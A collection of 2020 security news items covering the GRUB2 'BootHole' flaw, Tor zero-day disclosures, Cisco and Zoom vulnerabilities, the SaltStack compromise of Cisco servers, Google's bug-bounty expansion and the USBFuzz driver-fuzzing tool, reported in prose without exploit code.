Microsoft will be releasing a set of signed dbx updates, which can be applied to systems to block shims that can be used to load the vulnerable versions of GRUB2, according to Eclypsium.

“Due to the risk of bricking systems or otherwise breaking operational or recovery workflows, these dbx updates will initially be made available for interested parties to manually apply to their systems rather than pushing the revocation entries and applying them automatically,” the firm noted. “Organizations should additionally ensure they have appropriate capabilities for monitoring UEFI bootloaders and firmware and verifying UEFI configurations, including revocation lists, in their systems.”

Organizations should also test device-recovery capabilities, including the “reset to factory defaults” functionality, so they can recover it if a device is negatively impacted by an update.

Expert discloses details of 3 Tor zero-day flaws … new ones to come
31.7.20  Vulnerebility  Securityaffairs

A security researcher published the details about two Tor zero-day vulnerabilities and plans to release three more flaws.
The security researcher Dr. Neal Krawetz has published technical details about two Tor zero-day vulnerabilities over the past week and promises to release three more. Oppressive regimes could exploit these Tor zero-day flaws to prevent users from accessing the popular anonymizing network.

The expert confirmed that one of these three new issues can de-anonymize Tor servers revealing their real IP address.

Dr. Neal Krawetz decided to publicly disclose details on two zero-day flaws after the Tor Project has repeatedly failed to fix multiple vulnerabilities he reported over the past years.

The researcher also promised to reveal at least three more Tor zero-days, including one that can reveal the real-world IP address of Tor servers.

The researcher operates multiple Tor nodes, last week he published a blog post that describes how internet service providers and organizations could stop Tor connections.

“However, what if there was a distinct packet signature provided by every Tor node that can be used to detect a Tor network connection? Then you could set the filter to look for the signature and stop all Tor connections. As it turns out, this packet signature is not theoretical.” reads the post.

An attacker could use the packet signature to block Tor connections from initiating.
Today the expert published a new blog post that provides details about other Tor zero-day issues that could be exploited by attackers to detect indirect connections,

“Direct connections to the Tor network are the most common type of connection. However, there are also indirect ways to connect to the Tor network. These indirect methods are called ‘bridges’. If someone could detect every bridge protocol, then every Tor user could be blocked from accessing the Tor network, or they can be directly surveilled. (If they know your real network address, then they know who you are, and they can monitor or censor your activities.)” reads the report.

“In this blog entry, I’m going to disclose methods to identify Tor bridge network traffic. This includes two new zero-day (0day) exploits — one for detecting obfs4 and one for detecting meek.”

Tor bridges (“Tor bridge relays”) are alternative entry points to the Tor network, some of them are not listed publicly. Using a bridge makes it harder, but not impossible, for the ISP to determine a user is connecting to Tor.

According to Dr. Krawetz, an attacker can easily detect connections to Tor bridges tracking specific packets.

“Between my previous blog entry and this one, you now have everything you need to enforce the policy with a real-time stateful packet inspection system. You can stop all of your users from connecting to the Tor network, whether they connect directly or use a bridge,” continues Dr. Krawetz.

The security researcher reported multiple issues to the Tor Project, but he claims that the maintainers have never addressed them, for this reason, Dr. Krawetz decided to interrupt its collaboration with the organization.

Cisco Patches Serious Vulnerabilities in Data Center Network Manager
31.7.20  Vulnerebility  Securityweek

Cisco informed customers on Wednesday that it has patched critical and high-severity vulnerabilities in its Data Center Network Manager (DCNM) network management platform.

One of the security flaws, CVE-2020-3382, has been classified as critical. It allows a remote, unauthenticated attacker to bypass authentication and perform actions with admin privileges on the targeted device.

“The vulnerability exists because different installations share a static encryption key. An attacker could exploit this vulnerability by using the static key to craft a valid session token. A successful exploit could allow the attacker to perform arbitrary actions through the REST API with administrative privileges,” Cisco explained.

The networking giant has fixed several high-severity vulnerabilities in DCNM, including weaknesses that can be exploited for arbitrary command injection, path traversal and arbitrary file writing, and bypassing authorization and escalating privileges. However, exploitation of these bugs requires authentication.

The one high-severity vulnerability that can be exploited by an unauthenticated attacker is CVE-2020-3376. It can be leveraged to bypass authentication and execute arbitrary actions.

“The vulnerability is due to a failure in the software to perform proper authentication. An attacker could exploit this vulnerability by browsing to one of the hosted URLs in Cisco DCNM. A successful exploit could allow the attacker to interact with and use certain functions within the Cisco DCNM,” Cisco explained.

The company has also patched three medium-severity vulnerabilities in DCNM, including XSS, SQL injection and information disclosure issues.

Cisco also announced that it has resolved a critical vulnerability in the management interface of the SD-WAN vManage software. The flaw allows an attacker to access potentially sensitive information, modify the configuration of the system, or cause it to become unavailable. However, exploitation requires authentication.

Cisco says none of these vulnerabilities has been exploited for malicious purposes, which is not surprising considering that the more serious ones were all discovered internally.

Companies Respond to 'BootHole' Vulnerability
30.7.20 Vulnerebility  Securityweek

Companies affected by the recently disclosed GRUB2 bootloader vulnerability dubbed BootHole have started releasing advisories to inform customers about the impact of the issue on their products.

Firmware security company Eclypsium revealed on Wednesday that billions of Windows and Linux devices are affected by a potentially serious vulnerability that can be exploited to install stealthy and persistent malware. The firm says the weakness affects devices that use Secure Boot, a feature designed to protect the boot process against untrusted code execution.

The security hole, officially tracked as CVE-2020-10713, impacts laptop, desktop, workstation and server devices, as well as network appliances and equipment used in the healthcare, industrial and financial sectors.

BootHole

The vulnerability is a buffer overflow related to how GRUB2 parses its grub.cfg configuration file. An attacker with admin privileges on the targeted system can modify this file so that their malicious code is executed in the UEFI environment before the OS is loaded.

Several other flaws related to GRUB2 have been identified during investigations into BootHole.

Secure Boot is designed to ensure that the code executed when a device boots is trusted. For this purpose it uses two databases containing lists of digital signatures associated with trusted code (DB) and digital signatures associated with prohibited code (DBX).

Preventing BootHole attacks will require replacing vulnerable bootloaders with an updated version and releasing an update for the DBX database to ensure that the vulnerable bootloaders can no longer be executed. This process requires collaboration between software and hardware vendors.

Shortly after Eclypsium published its report on the BootHole vulnerability, several companies and organizations released advisories to address the issue.

CERTs

Some Computer Emergency Response Teams (CERTs) have already released advisories, including CERT/CC in the United States and SingCERT in Singapore.

CERT/CC explained, “Linux distributions and other vendors using GRUB2 will need to update their installers, boot loaders, and shims. New shims will need to be signed by the Microsoft 3rd Party UEFI Certificate Authority. Administrators of affected devices will need to update installed versions of operating systems as well as installer images, including disaster recovery media. Until all affected versions are added to the dbx revocation list, an attacker would be able to use a vulnerable version of shim and GRUB2. Eventually the UEFI revocation list (dbx) needs to be updated in the firmware of each affected system to prevent running this vulnerable code during boot.”

UEFI Forum

The UEFI Forum has made available the files needed to update the Secure Boot DBX database, which includes the now-revoked signatures of previously approved and signed firmware and software. However, the revocation list file is work in progress and at this point it’s mainly recommended for testing purposes.

“Distribution of the data in these files to running systems could cause instability and should only be attempted by security experts and IT professionals. System OEMs can use these files to test their platform firmware,” the UEFI Forum warned.

Microsoft

Microsoft says BootHole impacts Windows 10, 8.1, Server 2012, Server 2016, Server 2019 and Server versions 1903, 1909 and 2004. The company is working on an update that will be rolled out to users via the Windows Update system.

In the meantime, the company tells customers that they can prevent attacks on Surface devices by changing some UEFI settings.

Windows users can manually install the Secure Boot DBX update from the UEFI Forum, but Microsoft has warned that this update has not been tested and it’s only recommended for professionals and enthusiasts since installing it can result in “unrecoverable failure to boot.”

Red Hat

Red Hat says BootHole impacts Red Hat Enterprise Linux 7 and 8, Atomic Host, and the OpenShift Container Platform 4. The company has advised users to update their grub2 packages and customers using Secure Boot need to update the kernel, fwupdate, fwupd, shim and dbxtool packages, which contain newly validated keys and certificates.

Canonical

Canonical, whose security team has identified additional GRUB2 vulnerabilities following Eclypsium’s research, has released updated packages for Ubuntu, and says it will provide a packaged DBX update in the future, but told users that until then they can apply a third-party DBX update.

SUSE

SUSE has published a blog post and provided the following statement to SecurityWeek:

“We’re aware of the Linux vulnerability called BootHole shared by Eclypsium today, and our customers and partners can rest assured we have released fixed grub2 packages which close the BootHole vulnerability for all SUSE Linux products today, and are releasing corresponding updates to Linux kernel packages, cloud image and installation media.

Given the need for physical access to the bootloader, the most likely exposure is when untrusted users can access a machine, e.g. bad actors in classified computing scenarios or computers in public spaces operating in unattended kiosk mode. To ensure that sophisticated attackers cannot reinstall old versions of grub2, software and hardware vendors are working together. SUSE Linux Enterprise provides unprecedented reliability, stability and security to the enterprise, and we are committed to keeping our customers’ and partners’ systems up to date and ready to handle everyday business challenges.”

Debian

Debian told customers that since Debian 10 (buster) was the first release to include support for Secure Boot, older versions of the operating system may not receive updates. For Debian 10 (buster), developers have already released updated GRUB2, linux, shim, fwupdate and fwupd packages.

VMware

VMware says CVE-2020-10713 affects Photon OS when configured with Secure Boot, as well as virtual machines running impacted operating systems. The company is working on an update for Photon OS.

The virtualization giant pointed out that exploitation of BootHole inside a VM cannot allow an attacker to compromise the host, but noted that available patches will need to be deployed on both guest and host machines.

HP

HP says it will be providing a SoftPaq to allow users to update the DBX database. The company has shared a long list of business notebook PCs, business desktop PCs, workstations, retail point-of-sale products, Thin Client devices, home notebook PCs, and home desktop PCs impacted by the vulnerability.

Critical GRUB2 Bootloader Bug Affects Billions of Linux and Windows Systems
30.7.20    Vulnerebility  Thehackernews

A team of cybersecurity researchers today disclosed details of a new high-risk vulnerability affecting billions of devices worldwide—including servers and workstations, laptops, desktops, and IoT systems running nearly any Linux distribution or Windows system.
Dubbed 'BootHole' and tracked as CVE-2020-10713, the reported vulnerability resides in the GRUB2 bootloader, which, if exploited, could potentially let attackers bypass the Secure Boot feature and gain high-privileged persistent and stealthy access to the targeted systems.
Secure Boot is a security feature of the Unified Extensible Firmware Interface (UEFI) that uses a bootloader to load critical components, peripherals, and the operating system while ensuring that only cryptographically signed code executes during the boot process.
"One of the explicit design goals of Secure Boot is to prevent unauthorized code, even running with administrator privileges, from gaining additional privileges and pre-OS persistence by disabling Secure Boot or otherwise modifying the boot chain," the report explained.

Discovered by researchers from Eclypsium, BootHole is a buffer overflow vulnerability that affects all versions of GRUB2 and exists in the way it parses content from the config file, which typically is not signed like other files and executables—leaving an opportunity for attackers to break the hardware root of trust mechanism.
grub2 bootloader malware
To be noted, the grub.cfg file is located in the EFI system partition, and thus, to modify the file, an attacker still needs an initial foothold on the targeted system with admin privileges that would eventually provide the attacker with an additional escalation of privilege and persistence on the device.
Though GRUB2 is the standard bootloader used by most Linux systems, it supports other operating systems, kernels, and hypervisors like XEN as well.
"The buffer overflow allows the attacker to gain arbitrary code execution within the UEFI execution environment, which could be used to run malware, alter the boot process, directly patch the OS kernel, or execute any number of other malicious actions," researchers said.
Thus, to exploit BootHole flaw on Windows systems, attackers can replace the default bootloaders installed on Windows systems with a vulnerable version of GRUB2 to install the rootkit malware.
"The problem also extends to any Windows device that uses Secure Boot with the standard Microsoft Third Party UEFI Certificate Authority," the report says.
According to the detailed report researchers shared with The Hacker News, this vulnerability can lead to major consequences, and that's primarily because the attack allows hackers to execute malicious code even before the operating system boots, making it difficult for security software to detect the presence of malware or remove it.

Besides this, the researcher also added that "the UEFI execution environment does not have Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP/NX) or other exploit mitigation technologies typically found in modern operating systems, so creating exploits for this kind of vulnerability is significantly easier."
Just Installing Updates and Patches Wouldn't Resolve the Issue
Experts at Eclypsium have already contacted related industry entities, including OS vendors and computer manufacturers, to help them patch the issue.
However, it doesn't appear to be an easy task to patch the issue altogether.
Just installing patches with updated GRUB2 bootloader would not resolve the issue, because attackers can still replace the device's existing bootloader with the vulnerable version.
According to Eclypsium, even "mitigation will require new bootloaders to be signed and deployed, and vulnerable bootloaders should be revoked to prevent adversaries from using older, vulnerable versions in an attack."
So, the affected vendors would need first to release the new versions of their bootloader shims to be signed by the Microsoft 3rd Party UEFI CA.
Eventually, the UEFI revocation list (dbx) then also needs to be updated in the firmware of each affected system to prevent running this vulnerable code during boot.
This multi-stage mitigation process will likely take years for organizations to complete patching.
"However, full deployment of this revocation process will likely be very slow. UEFI-related updates have had a history of making devices unusable, and vendors will need to be very cautious. If the revocation list (dbx) is updated before a given Linux bootloader and shim are updated, then the operating system will not load," researchers warned.
In an advisory released today, Microsoft acknowledged the issue, informing that it's "working to complete validation and compatibility testing of a required Windows Update that addresses this vulnerability."
It also recommended users to apply security patches as soon as they are rolled out in the coming weeks.
Besides Microsoft, many popular Linux distributions have also released related advisories explaining the flaw, possible mitigations, and timeline on the upcoming security patches.
Here's a list for all advisories:
Red Hat (Fedora and RHEL)
Canonical (Ubuntu)
SuSE (SLES and OpenSUSE)
Debian
VMware
Microsoft
HP

Zoom Bug Allowed Snoopers Crack Private Meeting Passwords in Minutes
30.7.20  Vulnerebility  Thehackernews
Popular video conferencing app Zoom recently fixed a new security flaw that could have allowed potential attackers to crack the numeric passcode used to secure private meetings on the platform and snoop on participants.
Zoom meetings are by default protected by a six-digit numeric password, but according to Tom Anthony, VP Product at SearchPilot who identified the issue, the lack of rate limiting enabled "an attacker to attempt all 1 million passwords in a matter of minutes and gain access to other people's private (password protected) Zoom meetings."
It's worth noting that Zoom began requiring a passcode for all meetings back in April as a preventive measure to combat Zoom-bombing attacks, which refers to the act of disrupting and hijacking Zoom meetings uninvited to share obscene and racist content.
Anthony reported the security issue to the company on April 1, 2020, along with a Python-based proof-of-concept script, a week after Zoom patched the flaw on April 9.
The fact that meetings were, by default, secured by a six-digit code meant there could be only a maximum of one million passwords.
But in the absence of no checks for repeated incorrect password attempts, an attacker can leverage Zoom's web client (https://zoom.us/j/MEETING_ID) to continuously send HTTP requests to try all the one million combinations.
"With improved threading, and distributing across 4-5 cloud servers you could check the entire password space within a few minutes," Anthony said.
The attack worked with recurring meetings, implying that bad actors could have had access to the ongoing meetings once the passcode was cracked.
The researcher also found that the same procedure could be repeated even with scheduled meetings, which have the option to override the default passcode with a longer alphanumeric variant, and run it against a list of top 10 million passwords to brute-force a login.
Separately, an issue was uncovered during the sign-in process using the web client, which employed a temporary redirect to seek customers' consent to its terms of service and privacy policy.
"There was a CSRF HTTP header sent during this step, but if you omitted it then the request still seemed to just work fine anyway," Anthony said. "The failure on the CSRF token made it even easier to abuse than it would be otherwise, but fixing that wouldn't provide much protection against this attack."
Following the findings, Zoom took the web client offline to mitigate the issues on April 2 before issuing a fix a week later.
The video conferencing platform, which drew scrutiny for a number of security issues as its usage soared during the coronavirus pandemic, has quickly patched the flaws as they were uncovered, even going to the extent of announcing a 90-day freeze on releasing new features to "better identify, address, and fix issues proactively."
Just earlier this month, the company addressed a zero-day vulnerability in its Windows app that could allow an attacker to execute arbitrary code on a victim's computer running Windows 7 or older.
It also fixed a separate flaw that could have allowed attackers to mimic an organization and trick its employees or business partners into revealing personal or other confidential information via social engineering attacks.

Cisco Servers Hacked via Salt Vulnerabilities
29.5.2020  Securityweek  Vulnerebility
Cisco this week announced that it has patched two actively exploited Salt vulnerabilities, but not before malicious actors leveraged the flaws to hack some of the company’s servers.

Rated critical, the vulnerabilities, tracked as CVE-2020-11651 and CVE-2020-11652, were made public at the end of April, when SaltStack patches were released. The issue, however, only appears when unsecure settings are used.

The popular configuration tool uses a Salt Master to collect reports from agents called minions, and to deliver messages (configuration updates) to them. Typically, the Salt Master is not connected to the Internet, but roughly 6,000 instances were found exposed at the end of April.

The critical vulnerability that was found in Salt Master version 2019.2.3 and Salt 3000 versions 3000.1 and earlier could be abused by unauthenticated attackers to gain root-equivalent access to the Salt Master.

Within days after the patches arrived, the first attacks targeting the vulnerability were observed, with search provider Algolia and LineageOS, Ghost, and DigiCert servers quickly falling victims due to the lack of timely patching.

Now, Cisco reveals that salt-master servers that are used with Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE) were upgraded on May 7, and that, on the same day, they were found to have been compromised through the aforementioned vulnerabilities.

“Cisco identified that the Cisco maintained salt-master servers that are servicing Cisco VIRL-PE releases 1.2 and 1.3 were compromised. The servers were remediated on May 7, 2020,” the company announced in an advisory.

The hackers gained access to six servers, including us-1.virl.info, us-2.virl.info, us-3.virl.info, us-4.virl.info, vsm-us-1.virl.info, and vsm-us-2.virl.info, Cisco says.

“Cisco VIRL-PE connects back to Cisco maintained Salt Servers that are running the salt-master service. These servers are configured to communicate with a different Cisco salt-master server, depending on which release of Cisco VIRL-PE software is running. Administrators can check the configured Cisco salt-master server by navigating to VIRL Server > Salt Configuration and Status,” the company explains.

Cisco Modeling Labs Corporate Edition (CML), which is also impacted by the Salt vulnerabilities, does not connect to Cisco-maintained Salt Servers. The company explains that, for CML and VIRL-PE software releases 1.5 and 1.6, exploitability of enabled salt-master services depends on whether the salt-master service is reachable on TCP ports 4505 and 4506.

“For any installation that is found with salt-master service running Cisco would recommend either inspecting the machine for compromise or doing a re-image of the machine and installing the latest version of Cisco CML or Cisco VIRL-PE,” the company adds.

Cisco CML and Cisco VIRL-PE can be deployed in both standalone and cluster modes, and impact depends on the deployment type. Versions 2.0 of both CML and VIRL-PE are not affected, because they do not run the salt-master service.

For versions 1.6, there’s no impact when performing a fresh install, as the salt-master service is not running in standalone mode, or runs on a private network in cluster mode. When upgrading from version 1.5, however, the salt-master service is running.

For versions 1.5 and earlier, the salt-master service is running, and customers are advised to upgrade to a patched release.

Hackers Compromise Cisco Servers Via SaltStack Flaws

29.5.2020  Threatpost    Vulnerebility
Attackers compromised six Cisco VIRL-PE servers that are affected by critical SaltStack vulnerabilities.

Cisco said attackers have been able to compromise its servers after exploiting two known, critical SaltStack vulnerabilities. The flaws exist in the open-source Salt management framework, which are used in Cisco network-tooling products.

Two Cisco products incorporate a version of SaltStack that is running the vulnerable salt-master service. The first is Cisco Modeling Labs Corporate Edition (CML), which gives users a virtual sandbox environment to design and configure network topologies. The second is Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), used to design, configure and operate networks using versions of Cisco’s network operating systems.

Hackers were able to successfully exploit the flaws incorporated in the latter product, resulting in the compromise of six VIRL-PE backend servers, according to Cisco. Those servers are: us-1.virl.info, us-2.virl.info, us-3.virl.info, us-4.virl.info, vsm-us-1.virl.info and vsm-us-2.virl.info.

“Cisco infrastructure maintains the salt-master servers that are used with Cisco VIRL-PE,” according to Cisco’s Thursday alert. “Those servers were upgraded on May 7, 2020. Cisco identified that the Cisco maintained salt-master servers that are servicing Cisco VIRL-PE releases 1.2 and 1.3 were compromised.”

Cisco said the servers were remediated on May 7. The company also released software updates for the two vulnerable products. Cisco said that the update is “critical,” ranking it 10 out of 10 on the CVSS scale.

The SaltStack bugs were first made public by the Salt Open Core team on April 29. The flaws can allow full remote code execution as root on servers in data centers and cloud environments. They include an authentication bypass issue, tracked as CVE-2020-11651, and a directory-traversal flaw, CVE-2020-11652, where untrusted inputs (i.e. parameters in network requests) are not sanitized correctly. This in turn allows access to the entire file system of the master server, researchers found.

SaltStack released patches for the flaw in release 3000.2, on April 30 – however, researchers with F-Secure, who discovered the flaw, said a preliminary scan revealed more than 6,000 potentially vulnerable Salt instances exposed to the public internet — and warned that exploits in the wild are imminent.

Those predictions have proved true: In the beginning of May, for instance, hackers targeted the publishing platform Ghost by exploiting critical vulnerabilities in SaltStack, used in Ghost’s server management infrastructure to launch a cryptojacking attack against its servers that led to widespread outages.

Cisco said that for Cisco CML and Cisco VIRL-PE (software releases 1.5 and 1.6) if the salt-master service is enabled “the exploitability of the product depends on how the product has been deployed.” A full list of the impact and recommended action for each deployment option, for each Cisco software release, can be found on Cisco’s alert.

To be exploited, the salt-master service must be reachable on TCP ports 4505 and 4506, Cisco said. The company added that administrators can check their configured Cisco salt-master server by navigating to VIRL Server > Salt Configuration and Status.

“Cisco continues to strongly recommend that customers upgrade to a fixed software release to remediate these vulnerabilities,” Cisco said.

Google Adds GKE Open-Source Dependencies to Vulnerability Rewards Program
29.5.2020  Securityweek  Vulnerebility
Google this week announced an expansion for its Vulnerability Rewards Program (VRP) to include critical open-source dependencies of Google Kubernetes Engine (GKE).

The announcement builds on the bug bounty program for Kubernetes that the Cloud Native Computing Foundation (CNCF), in partnership with Google and others, announced earlier this year, and which offers rewards of up to $10,000 for vulnerabilities in the project.

With this expansion, Google’s VRP will cover privilege escalation bugs in a hardened GKE lab cluster that was specifically set up for this purpose.

“This will cover exploitable vulnerabilities in all dependencies that can lead to a node compromise, such as privilege escalation bugs in the Linux kernel, as well as in the underlying hardware or other components of our infrastructure that could allow for privilege escalation inside a GKE cluster,” the company says.

Google is now inviting bug hunters to find vulnerabilities in a lab environment that was set up on GKE based on kCTF, an open-source Kubernetes-based Capture-the-Flag (CTF) project.

Participants are required to break out of a containerized environment running on a Kubernetes pod and read one of two secret flags (one on the same pod, the other in another pod, in a different namespace).

Participants are required to present these flags as proof of successful exploitation, as the lab environment does not store data. The flags will change often, Google says.

The Internet giant is willing to pay up to $10,000 for bugs that affect the lab GKE environment and can lead to stealing both flags (each report will be reviewed on a case-by-case basis). Participants are allowed to submit vulnerabilities identified in Linux, Kubernetes, kCTF, Google, or any other dependency.

Security flaws that only impact Google code qualify for an additional VRP reward, while those impacting only Kubernetes code qualify for an additional CNCF Kubernetes reward.

“Any vulnerabilities found outside of GKE (like Kubernetes or the Linux kernel) should be reported to the corresponding upstream project security teams. To make this program expansion as efficient as possible for the maintainers, we will only reward vulnerabilities shown to be exploitable by stealing a flag,” Google explains.

The open-sourced kCTF environment is new and Google is looking to receive feedback on it before actively using it in CTF competitions.

“By including the CTF infrastructure in the scope of the Google VRP, we want to incentivise the community to help us secure not just the CTF competitions that will use it, but also GKE and the broader Kubernetes ecosystems,” Google notes.

Despite lower number of vulnerability disclosures, security teams have their work cut out for them

29.5.2020  Net-Security  Vulnerebility

The number of vulnerabilities disclosed in Q1 2020 has decreased by 19.8% compared to Q1 2019, making this likely the only true dip observed within the last 10 years, Risk Based Security reveals.

Vulnerabilities of interest disclosed in Q1 2020
Vulnerabilities disclosed in Q1 2020: What happened?

Many factors have been identified as potential contributors to this decline, including the COVID-19 pandemic, though its precise impact may not be known for another year.

“Although the pandemic has already brought unprecedented changes to all walks of life, it is difficult to predict precisely how it will impact vulnerability disclosures this year,” commented Brian Martin, Vice President of Vulnerability Intelligence at Risk Based Security.

“It is possible, as we’ve seen with data breaches, that some researchers and companies may be slower to disclose vulnerabilities. Between drastic changes in work environments and a global pandemic, vulnerability disclosure totals may be directly impacted.”
Many vulnerabilities lacking detail in CVE

Despite the lower total number of vulnerability disclosures in Q1, security teams have their work cut out for them. 561 vulnerabilities have been identified that have a public exploit, yet do not have any detail in CVE.

Worse, 60.2% of those vulnerabilities are remotely exploitable. This is problematic for many organizations that rely on security tools that are based on CVE data and have little in the way of detection and mitigation.

Top ten products by vulnerability disclosures in Q1 2020, as compared to 2019

“Those vulnerabilities include issues such as remote authentication bypass, stored XSS, SQL injection, information disclosure, denial of service, and more,” Mr. Martin concluded.

“Some of these vulnerabilities are present in software from Symantec, Apple, Atlassian, ManageEngine, Nextcloud, Jetbrains, and IBM to name a few. That should give pause to anyone who has to come up with a mitigation strategy where patching ‘in the right order’ becomes a key strategy.”

Flashback on CVE-2019-19781

28.5.2020  SANS  Vulnerebility

First of all, did you know that the Flame[1] malware turned 8 years today! Happy Birthday! This famous malware discovered was announced on May 28th, 2012. The malware was used for targeted cyber espionage activities in the Middle East area. If this malware was probably developed by a nation-state organization. It infected a limited amount of hosts (~1000 computers[3]) making it a targeted attack.

At the opposite, we see very broad attacks that try to abuse vulnerabilities present in very common products. Almost every day, new CVEs ("Common Vulnerability Exposure") are released or updated. Yesterday, I indexed 141 new CVEs:

In a perfect world, a CVE is followed by a patch released by the vendor or the developer, followed by the deployment of this patch by the end-user. Case closed! But, it’s not always as simple, for multiple reasons. Recently, an interesting article was released about the top-10 most exploited vulnerabilities[3]. It’s interesting to discover how very old vulnerabilities are still exploited in the wild, by example: CVE-2017-11882 (from 2017!)

Amongst others, let’s have a look at CVE-2019-19781 also know as “Shitrix”[4]. We searched for the population of ‘Citrix NetScaler’ hosts in SHODAN, then we search for the ones tagged with the CVE. Results are interesting (starting from the beginning of the year).

In blue, you see the number of devices identified as vulnerable. The green data represent the entire population of Citrix devices seen online. Let's focus on the two first months:

We see that SHODAN is scanning the web and found more and more vulnerable devices, then organizations started to patch then but we remain for a while to a stable amount of devices (around ~4000 detected daily). But we see also a decrease in detected NetScaler devices. How to interpret this?

Some organizations got rid of their Citrix device and replaced it with another solution? (it could happen)
Devices were hardened and do not disclose the version/model (footprint not possible)
Devices facing the Internet are now protected by filters/firewalls
SHODAN IP addresses are blacklisted (which is bad and does NOT secure your infrastructure)

Anyway, the best advice remains patch, patch, and patch again!

[1] https://isc.sans.edu/forums/diary/Why+Flame+is+Lame/13342
[2] https://www.wired.com/2012/05/flame/
[3] https://nakedsecurity.sophos.com/2020/05/15/top-10-most-exploited-vulnerabilities-list-released-by-fbi-dhs-cisa/
[4] https://krebsonsecurity.com/2020/02/hackers-were-inside-citrix-for-five-months/#more-50556

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

New fuzzing tool for USB drivers uncovers bugs in Linux, macOS, Windows

28.5.2020  Net-Security  Vulnerebility

With a new fuzzing tool created specifically for testing the security of USB drivers, researchers have discovered more than two dozen vulnerabilities in a variety of operating systems.

“USBFuzz discovered a total of 26 new bugs, including 16 memory bugs of high security impact in various Linux subsystems (USB core, USB sound, and network), one bug in FreeBSD, three in macOS (two resulting in an unplanned reboot and one freezing the system), and four in Windows 8 and Windows 10 (resulting in Blue Screens of Death), and one bug in the Linux USB host controller driver and another one in a USB camera driver,” Hui Peng and Mathias Payer explained.

11 of the Linux bugs have already received a patch.
Making fuzzing USB drivers easier

USBFuzz, which Peng and Payer plan to open source on GitHub in the near future, is a modular testing framework that can be used for fuzzing USB drivers in different OS kernels.

Fuzzing (or fuzz testing) involves the automated inputing of invalid, unexpected, or random data into software (in this case drivers), looking how the program behaves – whether it crashes, shows memory leaks, etc. – and checking whether these behaviors can be exploited for malicious ends.

“Fuzzing device drivers is challenging due to the difficulty in providing random input from a device. Dedicated programmable hardware devices are expensive and do not scale as one device can only be used to fuzz one target. More importantly, it is challenging to automate fuzzing on real hardware due to the required physical actions (attaching and detaching the device) for each test,” the researchers explained the motivation for creating USB-Fuzz.

They wanted to make the fuzing device cost-effective, hardware-independent and able to work on different OSes and platforms.

“At its core, USB-Fuzz uses a software-emulated USB device to provide random device data to drivers (when they perform IO operations). As the emulated USB device works at the device level, porting it to other platforms is straight-forward.”

USB-Fuzz works on Linux, FreeBSD, macOS, and Windows, and can be used to perform dumb fuzzing, focused fuzzing, and coverage-guided fuzzing (where coverage collection is supported).